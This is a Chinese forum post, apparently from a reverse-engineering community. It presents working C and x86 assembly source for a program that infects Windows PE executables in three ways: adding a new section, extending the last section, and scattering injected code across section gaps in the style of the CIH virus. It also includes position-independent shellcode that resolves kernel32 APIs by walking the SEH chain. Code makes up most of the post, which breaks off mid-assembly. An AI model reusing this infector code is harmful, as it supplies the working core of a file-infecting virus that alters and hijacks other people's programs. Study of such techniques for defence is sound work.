PE文件感染,早已不是什么新鲜的话题。论坛中也有很多反复摧残PE文件的文章。这段时间在看病毒方面的知识,所以重新温习了下PE文件的结构,介绍PE结构的帖子很多,我就不详细介绍了,再介绍也不一定由牛人们介绍的详细。跟我一样的小白,参见:http://bbs.pediy.com/showthread.php?t=21932
http://bbs.pediy.com/showthread.php?t=121488
http://bbs.pediy.com/showthread.php?t=122191
无数的先例告诉我们,动手才是王道!为了巩固下PE文件的知识,写了个利用三种方式感染PE文件的小程序,顺便练练手!
本文主要用以下三种方式感染PE文件,达到被感染目标运行时,先运行我们感染的代码,先看效果图:
下面分别简述下每种感染方式与不足的地方。
1.添加新节表感染。
该种方式很常见,首先根据PE文件结构查看SectionHeader表后,有无足够的空间放下一个新节表:
代码:
//添加新节感染 DWORD dwRealSize = lpImageDosHeader->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER) + stImageFileHeader.SizeOfOptionalHeader + stImageFileHeader.NumberOfSections*sizeof(IMAGE_SECTION_HEADER); if( stImageOptionalHeader.SizeOfHeaders - dwRealSize > sizeof(IMAGE_SECTION_HEADER) ) { INFECT_INFO stInfectInfo = {0}; stInfectInfo.dwId = 1; strncpy( stInfectInfo.lpInfectName, "添加新节表感染方式", strlen("添加新节表感染方式") ); PIMAGE_SECTION_HEADER lpFirstSectionHeader = IMAGE_FIRST_SECTION(lpImageNtHeaders); PIMAGE_SECTION_HEADER lpLastSectionHeader = lpFirstSectionHeader + (stImageFileHeader.NumberOfSections-1);//*sizeof(IMAGE_SECTION_HEADER); stInfectInfo.Infect_Manner_Info.stAddSection.dwVirtualOffset = ((lpLastSectionHeader->VirtualAddress + lpLastSectionHeader->Misc.VirtualSize -1)/dwVirtualAlign+1)*dwVirtualAlign; stInfectInfo.Infect_Manner_Info.stAddSection.dwVirtualAddSize = (DWORD)GetEndAddress - (DWORD)MainCode + dwExtendSize; stInfectInfo.Infect_Manner_Info.stAddSection.dwFileOffset = lpLastSectionHeader->PointerToRawData + lpLastSectionHeader->SizeOfRawData; stInfectInfo.Infect_Manner_Info.stAddSection.dwFileAddSize = (((DWORD)GetEndAddress - (DWORD)MainCode + dwExtendSize - 1)/dwFileAlign +1 )*dwFileAlign; stInfectInfo.dwNewEP = stInfectInfo.Infect_Manner_Info.stAddSection.dwVirtualOffset; stInfectInfo.lpBase = lpBuffer; stInfectInfos[dwInfectCnt++] = stInfectInfo; }
代码:
if( stInfectInfos[index].dwId == 1 ) { PIMAGE_DOS_HEADER lpImageDosHeader = (PIMAGE_DOS_HEADER)stInfectInfos[index].lpBase; PIMAGE_NT_HEADERS lpImageNtHeaders = (PIMAGE_NT_HEADERS)( (DWORD)lpImageDosHeader + lpImageDosHeader->e_lfanew ); PIMAGE_SECTION_HEADER lpFirstImageSection = IMAGE_FIRST_SECTION(lpImageNtHeaders); DWORD dwSectionCnt = lpImageNtHeaders->FileHeader.NumberOfSections; DWORD dwFileAlign = lpImageNtHeaders->OptionalHeader.FileAlignment; DWORD dwSectionAlign = lpImageNtHeaders->OptionalHeader.SectionAlignment; DWORD dwImageBase = lpImageNtHeaders->OptionalHeader.ImageBase; PIMAGE_SECTION_HEADER lpEndImageSection = (PIMAGE_SECTION_HEADER)( (DWORD)lpFirstImageSection + dwSectionCnt*sizeof(IMAGE_SECTION_HEADER) ); memset( lpEndImageSection, 0, sizeof(IMAGE_SECTION_HEADER) ); strncpy( (char*)(lpEndImageSection->Name), ".angel", strlen(".angel") ); lpEndImageSection->Characteristics = 0x600000E0; lpEndImageSection->Misc.VirtualSize = stInfectInfos[index].Infect_Manner_Info.stAddSection.dwVirtualAddSize; lpEndImageSection->VirtualAddress = stInfectInfos[index].Infect_Manner_Info.stAddSection.dwVirtualOffset; lpEndImageSection->PointerToRawData = stInfectInfos[index].Infect_Manner_Info.stAddSection.dwFileOffset; lpEndImageSection->SizeOfRawData = stInfectInfos[index].Infect_Manner_Info.stAddSection.dwFileAddSize; lpImageNtHeaders->FileHeader.NumberOfSections++; DWORD dwOldEP = lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint; lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint = lpEndImageSection->VirtualAddress; lpImageNtHeaders->OptionalHeader.SizeOfCode += lpEndImageSection->SizeOfRawData; //lpImageNtHeaders->OptionalHeader.SizeOfHeaders += sizeof(IMAGE_SECTION_HEADER); lpImageNtHeaders->OptionalHeader.SizeOfImage += ((lpEndImageSection->Misc.VirtualSize-1)/dwSectionAlign+1)*dwSectionAlign; //添加感染标识 strncpy( (char*)(lpImageDosHeader->e_res2), "angelkiss", strlen("angelkiss") ); FlushViewOfFile( stInfectInfos[index].lpBase, 0 ); UnmapViewOfFile( stInfectInfos[index].lpBase ); HANDLE hFile = CreateFile( g_strPath, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hFile == NULL ) { MessageBox( "添加节表感染PE失败" ); goto _OUT; } DWORD dwFileSize = GetFileSize( hFile, NULL ); DWORD dwRet = SetFilePointer( hFile, stInfectInfos[index].Infect_Manner_Info.stAddSection.dwFileAddSize, NULL, FILE_END ); if( dwRet == -1 ) { MessageBox( "扩大文件失败" ); CloseHandle( hFile ); goto _OUT; } if( !SetEndOfFile( hFile ) ) { MessageBox( "扩大文件,设置文件末尾失败" ); CloseHandle( hFile ); goto _OUT; } DWORD dw = (DWORD)GetEndAddress - (DWORD)MainCode; char lpJmpCode[5] = {0xe9,0x90,0x90,0x90,0x90}; //搜索MainCode中JMP的位置 DWORD dwPosition = 0; BYTE *lpTemp = (BYTE*)MainCode; for( int id = 0; id < 0x1000; id++ ) { if( (*lpTemp==0x90) && (*(lpTemp+1)==0x90) && (*(lpTemp+2)==0x90) && (*(lpTemp+3)==0x90) && (*(lpTemp+4)==0x90) ) { dwPosition = (DWORD)lpTemp - (DWORD)MainCode; break; } lpTemp++; } if( dwPosition == 0 ) { MessageBox( "寻找跳转地址出错" ); CloseHandle( hFile ); goto _OUT; } DWORD dwJmpDis = dwOldEP - (stInfectInfos[index].Infect_Manner_Info.stAddSection.dwVirtualOffset + dwPosition + 5 ); memcpy( lpJmpCode+1, &dwJmpDis, 4 ); DWORD dwOldProtect = 0; bool bRes = VirtualProtect( (LPVOID)(lpTemp), 5, PAGE_EXECUTE_READWRITE, &dwOldProtect ); memcpy( lpTemp, lpJmpCode, 5 ); SetFilePointer( hFile, stInfectInfos[index].Infect_Manner_Info.stAddSection.dwFileOffset, 0, FILE_BEGIN ); DWORD dwCnt = 0; WriteFile( hFile, (char*)MainCode, dw, &dwCnt, NULL ); DWORD dwToken = 0xfffffff9; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpContent, strlen(lpContent), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xfffffffa; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpTitle, strlen(lpTitle), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xfffffffb; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpLoadLibraryA, strlen(lpLoadLibraryA), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xfffffffc; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpGetProcess, strlen(lpGetProcess), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xfffffffd; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpUser32, strlen(lpUser32), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xfffffffe; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpMessageBoxA, strlen(lpMessageBoxA), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xffffffff; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpExitProcess, strlen(lpExitProcess), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); CloseHandle( hFile ); MessageBox( "添加节方式感染成功!" ); }
感染前:

感染后:


---------------------------

2、在PE文件的末尾节,添加代码。该种方法要注意最后一个节属性的修改。其他的基本跟添加新节方式一样。代码如下:
代码:
//末尾节扩展感染 PIMAGE_SECTION_HEADER lpLastSectionHeader = lpFirstSectionHeader + (dwSectionCnt-1); INFECT_INFO stInfectInfo = {0}; stInfectInfo.dwId = 3; strncpy( stInfectInfo.lpInfectName, "文件末尾节添加方式", strlen("文件末尾节添加方式") ); stInfectInfo.Infect_Manner_Info.stEndSectionExtension.dwVirtualAddSize = (DWORD)GetEndAddress - (DWORD)MainCode + dwExtendSize; stInfectInfo.Infect_Manner_Info.stEndSectionExtension.dwVirtualOffset = lpLastSectionHeader->VirtualAddress + lpLastSectionHeader->Misc.VirtualSize; stInfectInfo.Infect_Manner_Info.stEndSectionExtension.dwFileOffset = lpLastSectionHeader->PointerToRawData + lpLastSectionHeader->Misc.VirtualSize; stInfectInfo.Infect_Manner_Info.stEndSectionExtension.dwFileAddSize = (lpLastSectionHeader->Misc.VirtualSize+ stInfectInfo.Infect_Manner_Info.stEndSectionExtension.dwVirtualAddSize) > (lpLastSectionHeader->SizeOfRawData)?(((lpLastSectionHeader->Misc.VirtualSize + (DWORD)GetEndAddress - (DWORD)MainCode + dwExtendSize -lpLastSectionHeader->SizeOfRawData -1)/dwFileAlign+1)*dwFileAlign):0; stInfectInfo.dwNewEP = stInfectInfo.Infect_Manner_Info.stEndSectionExtension.dwVirtualOffset; stInfectInfo.lpBase = lpBuffer; stInfectInfos[dwInfectCnt++] = stInfectInfo;
代码:
if( stInfectInfos[index].dwId == 3 ) { PIMAGE_DOS_HEADER lpImageDosHeader = (PIMAGE_DOS_HEADER)(stInfectInfos[index].lpBase); PIMAGE_NT_HEADERS lpImageNtHeaders = (PIMAGE_NT_HEADERS)( (DWORD)lpImageDosHeader + lpImageDosHeader->e_lfanew ); PIMAGE_SECTION_HEADER lpImageSectionHeader = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(lpImageNtHeaders); DWORD dwSectionCnt = lpImageNtHeaders->FileHeader.NumberOfSections; DWORD dwSectionAlign = lpImageNtHeaders->OptionalHeader.SectionAlignment; DWORD dwFileAlign = lpImageNtHeaders->OptionalHeader.FileAlignment; PIMAGE_SECTION_HEADER lpLastImageSectionHeader = lpImageSectionHeader + dwSectionCnt - 1; lpLastImageSectionHeader->Characteristics = 0xE00000E0; lpLastImageSectionHeader->Misc.VirtualSize += stInfectInfos[index].Infect_Manner_Info.stEndSectionExtension.dwVirtualAddSize; lpLastImageSectionHeader->SizeOfRawData += stInfectInfos[index].Infect_Manner_Info.stEndSectionExtension.dwFileAddSize; lpImageNtHeaders->OptionalHeader.SizeOfCode += stInfectInfos[index].Infect_Manner_Info.stEndSectionExtension.dwFileAddSize; DWORD dwOldEP = lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint; lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint = stInfectInfos[index].dwNewEP; lpImageNtHeaders->OptionalHeader.SizeOfImage += dwSectionAlign*(((lpLastImageSectionHeader->Misc.VirtualSize-1)/dwSectionAlign+1) - ((lpLastImageSectionHeader->Misc.VirtualSize-stInfectInfos[index].Infect_Manner_Info.stEndSectionExtension.dwVirtualAddSize-1)/dwSectionAlign+1)); strncpy( (char*)(lpImageDosHeader->e_res2), "angelkiss", strlen("angelkiss") ); FlushViewOfFile( stInfectInfos[index].lpBase, 0 ); UnmapViewOfFile( stInfectInfos[index].lpBase ); HANDLE hFile = CreateFile( g_strPath, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hFile == NULL ) { MessageBox( "添加节表感染PE失败" ); goto _OUT; } DWORD dwFileSize = GetFileSize( hFile, NULL ); DWORD dwRet = SetFilePointer( hFile, stInfectInfos[index].Infect_Manner_Info.stEndSectionExtension.dwFileAddSize, NULL, FILE_END ); if( dwRet == -1 ) { MessageBox( "扩大文件失败" ); CloseHandle( hFile ); goto _OUT; } if( !SetEndOfFile( hFile ) ) { MessageBox( "扩大文件,设置文件末尾失败" ); CloseHandle( hFile ); goto _OUT; } DWORD dw = (DWORD)GetEndAddress - (DWORD)MainCode; char lpJmpCode[5] = {0xe9,0x90,0x90,0x90,0x90}; //搜索MainCode中JMP的位置 DWORD dwPosition = 0; BYTE *lpTemp = (BYTE*)MainCode; for( int id = 0; id < 0x1000; id++ ) { if( (*lpTemp==0x90) && (*(lpTemp+1)==0x90) && (*(lpTemp+2)==0x90) && (*(lpTemp+3)==0x90) && (*(lpTemp+4)==0x90) ) { dwPosition = (DWORD)lpTemp - (DWORD)MainCode; break; } lpTemp++; } if( dwPosition == 0 ) { MessageBox( "寻找跳转地址出错" ); CloseHandle( hFile ); goto _OUT; } DWORD dwJmpDis = dwOldEP - (stInfectInfos[index].Infect_Manner_Info.stEndSectionExtension.dwVirtualOffset + dwPosition + 5 ); memcpy( lpJmpCode+1, &dwJmpDis, 4 ); DWORD dwOldProtect = 0; bool bRes = VirtualProtect( (LPVOID)(lpTemp), 5, PAGE_EXECUTE_READWRITE, &dwOldProtect ); memcpy( lpTemp, lpJmpCode, 5 ); SetFilePointer( hFile, stInfectInfos[index].Infect_Manner_Info.stEndSectionExtension.dwFileOffset, 0, FILE_BEGIN ); DWORD dwCnt = 0; WriteFile( hFile, (char*)MainCode, dw, &dwCnt, NULL ); DWORD dwToken = 0xfffffff9; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpContent, strlen(lpContent), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xfffffffa; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpTitle, strlen(lpTitle), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xfffffffb; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpLoadLibraryA, strlen(lpLoadLibraryA), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xfffffffc; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpGetProcess, strlen(lpGetProcess), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xfffffffd; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpUser32, strlen(lpUser32), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xfffffffe; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpMessageBoxA, strlen(lpMessageBoxA), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xffffffff; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpExitProcess, strlen(lpExitProcess), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); CloseHandle( hFile ); MessageBox( "文件末尾节添加方式感染成功!" ); }
感染后:


----------------------

3、利用PE文件的节缝隙,动态感染。曾经比较流行的CIH就是利用的这种技术,但它也就是搜索节表的空隙,找个足够容纳自己的藏身。我这里是将感染代码,分割成几块,分别插入缝隙中,然后再利用JMP将每部分链接起来。猥琐一点!本来想自己构建一个反汇编引擎,根据缝隙大小动态划分代码,可惜没时间弄,等以后有时间了一定补上。在这里只是简单将感染代码分割成3块,然后根据缝隙大小插入,不是特别灵活!废话不多说,上代码:
获取PE文件中节缝隙大小:
代码:
//缝隙感染:收集节表缝隙信息 DWORD dwSectionCnt = stImageFileHeader.NumberOfSections; PSECTIONSPACE lpSectionSpace = new SECTIONSPACE[dwSectionCnt]; memset( lpSectionSpace, 0, dwSectionCnt*sizeof(SECTIONSPACE) ); PIMAGE_SECTION_HEADER lpFirstSectionHeader = IMAGE_FIRST_SECTION(lpImageNtHeaders); DWORD dwTotalSpace = 0; for( int index = 0; index < dwSectionCnt; index++ ) { PIMAGE_SECTION_HEADER lpTmpSectionHeader = lpFirstSectionHeader + index; lpSectionSpace[index].dwFileSpaceOffset = lpTmpSectionHeader->PointerToRawData + lpTmpSectionHeader->Misc.VirtualSize; lpSectionSpace[index].dwFileSpaceSize = lpTmpSectionHeader->SizeOfRawData > lpTmpSectionHeader->Misc.VirtualSize?lpTmpSectionHeader->SizeOfRawData-lpTmpSectionHeader->Misc.VirtualSize:0; lpSectionSpace[index].dwVirtualOffset = lpTmpSectionHeader->VirtualAddress; lpSectionSpace[index].dwVirtualSize = lpTmpSectionHeader->Misc.VirtualSize; dwTotalSpace += lpSectionSpace[index].dwFileSpaceSize; } if( dwTotalSpace > ((DWORD)GetEndAddress-(DWORD)MainCode+dwExtendSize+(dwSectionCnt-1)*5) ) { INFECT_INFO stInfectInfo = {0}; stInfectInfo.dwId = 2; strncpy( stInfectInfo.lpInfectName, "节表缝隙感染方式", strlen("节表缝隙感染方式") ); stInfectInfo.Infect_Manner_Info.lpstSectionSpace = lpSectionSpace; stInfectInfo.dwNewEP = lpFirstSectionHeader->VirtualAddress + lpFirstSectionHeader->Misc.VirtualSize; stInfectInfo.lpBase = lpBuffer; stInfectInfos[dwInfectCnt++] = stInfectInfo; } else { delete lpSectionSpace; }
代码:
if( stInfectInfos[index].dwId == 2 ) { PIMAGE_DOS_HEADER lpImageDosHeader = (PIMAGE_DOS_HEADER)(stInfectInfos[index].lpBase); PIMAGE_NT_HEADERS lpImageNtHeaders = (PIMAGE_NT_HEADERS)( (DWORD)lpImageDosHeader + lpImageDosHeader->e_lfanew ); PIMAGE_SECTION_HEADER lpImageSectionHeader = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(lpImageNtHeaders); DWORD dwSectionCnt = lpImageNtHeaders->FileHeader.NumberOfSections; DWORD dwSectionAlign = lpImageNtHeaders->OptionalHeader.SectionAlignment; DWORD dwFileAlign = lpImageNtHeaders->OptionalHeader.FileAlignment; DWORD dwOldEP = lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint; strncpy( (char*)(lpImageDosHeader->e_res2), "angelkiss", strlen("angelkiss") ); lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint = stInfectInfos[index].dwNewEP; //获取插入代码的大小 //获取附加内容的大小 DWORD dwExtendSize = 4 + strlen(lpContent) + 10; dwExtendSize += ( 4 + strlen(lpTitle) + 10 ); dwExtendSize += ( 4 + strlen(lpLoadLibraryA) + 10 ); dwExtendSize += ( 4 + strlen(lpGetProcess) + 10 ); dwExtendSize += ( 4 + strlen(lpUser32) + 10 ); dwExtendSize += ( 4 + strlen(lpMessageBoxA) + 10 ); dwExtendSize += ( 4 + strlen(lpExitProcess ) +10 ); DWORD dwCodeSize = (DWORD)GetEndAddress - (DWORD)MainCode + dwExtendSize; DWORD dwTmpCodeSize = dwCodeSize; DWORD dwTmpCodeOffset = (DWORD)MainCode; //向每个节缝隙插入代码 for( int i = 0; i < dwSectionCnt; i++ ) { PIMAGE_SECTION_HEADER lpTmpImageSectionHeader = lpImageSectionHeader + i; lpTmpImageSectionHeader->Characteristics |= 0x200000E0; if( stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[i].dwFileSpaceSize >= dwTmpCodeSize ) {//缝隙空间已经满足 PIMAGE_SECTION_HEADER lpCurSectionHeader = lpImageSectionHeader + i; lpCurSectionHeader->Misc.VirtualSize += dwTmpCodeSize; stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[i].dwRealCodeSize = dwTmpCodeSize; stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[i].dwRealCodeOffset = dwTmpCodeOffset; break; } else {//缝隙空间不满足要求,通过计算获取放入该缝隙的代码 DWORD dwFileSpaceSize = stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[i].dwFileSpaceSize; bool bFound = false; BYTE *lpTmp = NULL; //从dwTmpCodeOffset偏移dwFileSpaceSize处,向上搜索到最近的一个分块 for( int k = dwTmpCodeOffset+dwFileSpaceSize; k >= dwTmpCodeOffset; k-- ) { lpTmp = (BYTE*)k; if( (*lpTmp == 0x80) && (*(lpTmp+1)==0x80) && (*(lpTmp+2)==0x80) && (*(lpTmp+3)==0x85) && (*(lpTmp+4)==0x85) && (*(lpTmp+5)==0x85) ) {//查找到分块特征 bFound = true; break; } } if( !bFound ) continue; //再次验证该节缝隙是否满足要求 if( ((DWORD)lpTmp - (DWORD)MainCode + 5 ) <= dwFileSpaceSize ) { stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[i].dwRealCodeOffset = dwTmpCodeOffset; stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[i].dwRealCodeSize = (DWORD)lpTmp - (DWORD)dwTmpCodeOffset + 5; dwTmpCodeOffset += 6; dwTmpCodeSize -= (stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[i].dwRealCodeSize + 6 ); } } } FlushViewOfFile( stInfectInfos[index].lpBase, 0 ); UnmapViewOfFile( stInfectInfos[index].lpBase ); //至此信息已经收集完毕,现在修正MainCode的代码,并写入指定位置 //1.修正MainCode中的标识代码为jmp for( int j = 0; j < dwSectionCnt-1; j++ ) { SECTIONSPACE lpSectionSpace = stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[j+1]; if( lpSectionSpace.dwRealCodeOffset == 0 ) break; DWORD dwNextOffset = lpSectionSpace.dwVirtualOffset + lpSectionSpace.dwVirtualSize; DWORD dwAddr = stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[j].dwRealCodeOffset + stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[j].dwRealCodeSize; VirtualProtect( (LPVOID)dwAddr, 6, PAGE_EXECUTE_READWRITE, NULL ); *(BYTE*)dwAddr = 0xe9; *((DWORD*)((BYTE*)dwAddr+1)) = dwNextOffset - dwAddr - 5; } DWORD dw = (DWORD)GetEndAddress - (DWORD)MainCode; char lpJmpCode[5] = {0xe9,0x90,0x90,0x90,0x90}; //搜索MainCode中JMP的位置 DWORD dwPosition = 0; BYTE *lpTemp = (BYTE*)MainCode; for( int id = 0; id < 0x1000; id++ ) { if( (*lpTemp==0x90) && (*(lpTemp+1)==0x90) && (*(lpTemp+2)==0x90) && (*(lpTemp+3)==0x90) && (*(lpTemp+4)==0x90) ) { dwPosition = (DWORD)lpTemp - (DWORD)MainCode; break; } lpTemp++; } if( dwPosition == 0 ) { MessageBox( "寻找跳转地址出错" ); goto _OUT; } DWORD dwJmpDis = dwOldEP - (stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[j].dwVirtualOffset + stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[j].dwVirtualSize + dwPosition + 5 ); memcpy( lpJmpCode+1, &dwJmpDis, 4 ); DWORD dwOldProtect = 0; bool bRes = VirtualProtect( (LPVOID)(lpTemp), 5, PAGE_EXECUTE_READWRITE, &dwOldProtect ); memcpy( lpTemp, lpJmpCode, 5 ); //将代码写入文件 HANDLE hFile = CreateFile( g_strPath, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hFile == NULL ) { MessageBox( "添加节表感染PE失败" ); goto _OUT; } for( int s = 0; s < dwSectionCnt; s++ ) { if( stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[s].dwRealCodeOffset != 0 ) { SetFilePointer( hFile, stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[s].dwFileSpaceOffset, NULL, FILE_BEGIN ); DWORD dwCnt = 0; if( stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[s+1].dwRealCodeOffset == 0 ) {//如果是最后一段感染代码,例外处理 WriteFile( hFile, (LPVOID)(stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[s].dwRealCodeOffset), stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[s].dwRealCodeSize - dwExtendSize, &dwCnt, NULL ); DWORD dwToken = 0xfffffff9; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpContent, strlen(lpContent), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xfffffffa; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpTitle, strlen(lpTitle), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xfffffffb; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpLoadLibraryA, strlen(lpLoadLibraryA), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xfffffffc; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpGetProcess, strlen(lpGetProcess), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xfffffffd; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpUser32, strlen(lpUser32), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xfffffffe; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpMessageBoxA, strlen(lpMessageBoxA), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); dwToken = 0xffffffff; WriteFile( hFile, &dwToken, 4, &dwCnt, NULL ); WriteFile( hFile, lpExitProcess, strlen(lpExitProcess), &dwCnt, NULL ); SetFilePointer( hFile, 10, NULL, FILE_CURRENT ); } else { WriteFile( hFile, (LPVOID)(stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[s].dwRealCodeOffset), stInfectInfos[index].Infect_Manner_Info.lpstSectionSpace[s].dwRealCodeSize, &dwCnt, NULL ); } } } CloseHandle( hFile ); MessageBox( "文件缝隙方式感染成功!" ); } _OUT: for( int k = 0; k < dwInfectCnt; k++ ) { if( (stInfectInfos[k].dwId == 2) && (stInfectInfos[k].Infect_Manner_Info.lpstSectionSpace != NULL) ) delete stInfectInfos[k].Infect_Manner_Info.lpstSectionSpace; }
感染后:


------------------------------

最后看下注入代码的编写吧。因为注入代码运行时已经在目标程序中,所以要自己获取需要调用的函数地址。具体见代码吧:
代码:
void _declspec(naked)MainCode() { _asm { _Start: call _Reloc _Reloc: pop eax sub eax,5 mov ebx,eax sub eax,offset _Start mov ebp,esp sub esp,0x50 mov [ebp-4],eax mov [ebp-0x28],ebx mov eax,fs:[0] _SearchFunc: cmp eax,0 jz _Over mov ebx,[eax] cmp ebx,-1 jz _FoundFunc mov eax,ebx jmp _SearchFunc _FoundFunc: mov eax,[eax+4] _SearchMZ: cmp eax,0 jz _Over xor ax,ax cmp word ptr[eax],'ZM' jz _SearchPE dec eax jmp _SearchMZ _SearchPE: mov ebx,[eax+0x3c] add ebx,eax cmp word ptr[ebx],'EP' jz _FoundModule dec eax jmp _SearchMZ _FoundModule: mov [ebp-8],eax mov ebx,[ebx+0x78] lea esi,[ebx+eax+0x10] lodsd xchg eax,ebx //base index lodsd lodsd xchg eax,ecx //name count lodsd xchg eax,edx //func address lodsd xchg eax,edi //name address lodsd //oridinal index mov [ebp-0xc],ebx mov [ebp-0x10],ecx mov [ebp-0x14],edx mov [ebp-0x18],edi mov [ebp-0x1c],eax //第一分段 push eax //50 push eax push eax pop eax //58 pop eax pop eax push 0x0fffffff9 lea eax,[esp] call _Addr1 _Addr1: pop ebx //mov eax,0xf9ffffff //mov edi,ebx _SearchContent: mov ecx,4 mov esi,eax mov edi,ebx repz cmpsb jz _SearchContentOver inc ebx jmp _SearchContent _SearchContentOver: mov [ebp-0x2c],edi pop eax push 0x0fffffffa lea eax,[esp] call _Addr2 _Addr2: pop ebx _SearchTitle: mov ecx,4 mov esi,eax mov edi,ebx repz cmpsb jz _SearchTitleOver inc ebx jmp _SearchTitle _SearchTitleOver: mov [ebp-0x30],edi pop eax push 0x0fffffffb lea eax,[esp] call _Addr3 _Addr3: pop ebx _SearchLoadLibraryA: mov ecx,4 mov esi,eax mov edi,ebx repz cmpsb jz _SearchLoadLibraryAOver inc ebx jmp _SearchLoadLibraryA _SearchLoadLibraryAOver: mov [ebp-0x34],edi pop eax push 0x0fffffffc lea eax,[esp] call _Addr4 _Addr4: pop ebx _SearchGetFuncAddress: mov ecx,4 mov esi,eax mov edi,ebx repz cmpsb jz _SearchGetFuncAddressOver inc ebx jmp _SearchGetFuncAddress _SearchGetFuncAddressOver: mov [ebp-0x38],edi pop eax push 0x0fffffffd lea eax,[esp] call _Addr5 _Addr5: pop ebx _SearchUser32: mov ecx,4 mov esi,eax mov edi,ebx repz cmpsb jz _SearchUser32Over inc ebx jmp _SearchUser32 _SearchUser32Over: mov [ebp-0x3c],edi pop eax push 0x0fffffffe lea eax,[esp] call _Addr6 _Addr6: pop ebx _SearchMessageBoxA: mov ecx,4 mov esi,eax mov edi,ebx repz cmpsb jz _SearchMessageBoxAOver inc ebx jmp _SearchMessageBoxA _SearchMessageBoxAOver: mov [ebp-0x40],edi pop eax push 0x0ffffffff lea eax,[esp] call _Addr7 _Addr7: pop ebx _SearchExitProcess: mov ecx,4 mov esi,eax mov edi,ebx repz cmpsb jz _ExitProcessOver inc ebx jmp _SearchExitProcess 